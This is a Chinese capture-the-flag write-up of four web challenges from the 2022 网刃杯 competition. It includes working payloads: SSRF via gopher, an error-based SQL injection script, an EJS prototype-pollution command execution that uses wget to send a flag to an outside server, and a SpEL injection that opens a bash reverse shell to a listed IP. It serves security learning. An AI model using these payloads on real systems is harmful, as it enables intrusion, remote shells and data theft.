2022网刃杯web

signin

源码如下

<?php
    highlight_file(__FILE__);
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $_GET['url']);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_exec($ch);
    curl_close($ch);
?>

很明显的ssrf漏洞。用dict协议探测了下3306、6379、9000端口。应该是都没开,然后直接读flag也没有。
估计是要打内网了。
先读下host文件/etc/hosts得到内网ip
在这里插入图片描述
遍历下这个段的ip,发现100是开着的,访问url=http://172.73.23.100得到以下内容:
在这里插入图片描述
后面还要求post一个b、以本地用户访问、从特定地址访问。
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

可以bp构造一个请求包,然后利用gopher协议发送过去。

POST /?a=123 HTTP/1.1
Host: 172.73.23.100
Content-Length: 5
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
X-Forwarded-For:127.0.0.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: bolean.club
Connection: close

b=456

用bp编码两次
在这里插入图片描述

url=gopher://172.73.23.100:80/_编码的内容
在这里插入图片描述
flag{Have_A_GoOd_T1m3!!!}

upload

随便上传一个文件,发现前缀是随机的,并且想要上传和php相关的后缀需要content-type为ctf

在这里插入图片描述
但是上传php后缀的也不解析。

在这里插入图片描述
不过题目提示了和sql相关,那就能填的地方都试下添加单双引号。
发现在文件名处存在注入。

在这里插入图片描述
那就好说了,直接报错注入。

import requests  
url="http://124.222.24.150:8001/"
files={
    
    'upfile':("e' and extractvalue(0x0a,concat(0x0a,(select database()))))#",'123','ctf')}
r=requests.post(url,files=files)
print(r.text)

可以得到库名upload
直接盲猜一波flag

import requests  
url="http://124.222.24.150:8001/"
files={
    
    'upfile':("e' and extractvalue(0x0a,concat(0x0a,(select flag from flag))))#",'123','ctf')}
r=requests.post(url,files=files)
print(r.text)

可以得到一部分,另外一部分利用下substr函数就好了。

import requests  
url="http://124.222.24.150:8001/"
files={
    
    'upfile':("e' and extractvalue(0x0a,concat(0x0a,(select substr(flag,20,50) from flag))))#",'123','ctf')}
r=requests.post(url,files=files)
print(r.text)

ezjs

下载下来源码,简单审计下可以看到用了ejs作为模板引擎,并且存在相关的克隆函数。
在这里插入图片描述
在这里插入图片描述
网上一堆ejs原型链污染的payload。但是试了几个发现都没成功,基本上都是利用的污染outputFunctionName,可能是版本的问题。然后发现还有其他的参数可以污染,比如sourceURL
参考文章
https://www.cnblogs.com/escape-w/p/12347705.html
https://www.freebuf.com/articles/web/264966.html
payload:

{
    
    
	"__proto__":
	{
    
    
	"sourceURL":
	"\nglobal.process.mainModule.constructor._load('child_process').exec('命令')//"
	}
}

但是题目还写了一个黑名单,不过很容易绕过去
过滤了exec我们可以使用中括号的方式转换成字符串,再用加号进行拼接,因为是源码没给具体过滤的内容,所以自己随便试了试。最终payload如下(通过wget外带):

{
    
    
	"__proto__":{
    
    
		"sourceURL":
		"\nglobal.process.mainModule.constructor._load('child_process')['ex'+'ec']('wge'+'t$IFS$9http://vps地址/\u0060ta\\c$IFS$9/.[f]lag\u0060')//"
		}
}

java

进入首页存在任意文件下载漏洞。
获取web.xml /download?filename=../../../web.xml
可以看到存在两个路由对应着两个class文件。
在这里插入图片描述

下载下来
download?filename=../../../classes/com/abc/servlet/DownloadServlet.class
download?filename=../../../classes/com/abc/servlet/TestServlet.class

反编译下得到源码。
download就是一个单纯的下载文件功能,并且存在路径限制。没啥利用的地方,重点看下test
存在spel注入漏洞漏洞
可以参考下文章https://blog.csdn.net/weixin_45794666/article/details/123372058
在这里插入图片描述
可以通过T(类)来调用类的方法比如:
T(java.lang.Runtime).getRuntime().exec("open /Applications/Calculator.app")
因为这条代码 Expression exp = parser.parseExpression(val, parserContext);
中存在第二个参数,所以需要用#{}包裹
#{T(java.lang.Runtime).getRuntime().exec("open /Applications/Calculator.app")}
并且第一个参数我们可以通过name传递,因为get传的话会受到限制,需要post传参。
最后还需要绕过一下过滤
在这里插入图片描述
payload

import requests  
url="http://124.220.9.19:8022/test388"

r = requests.post(url, data={
    
    
    
    "name":"#{T(javax.script.ScriptEngineManager).newInstance().getEngineByExtension('js').eval('ja'+'va.'+'la'+'ng.Runti'+'me.getRunt'+'ime().ex'+'ec(\"/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/101.34.94.44/4568<&1\")')}"
})

猜你喜欢

转载自blog.csdn.net/miuzzx/article/details/124386923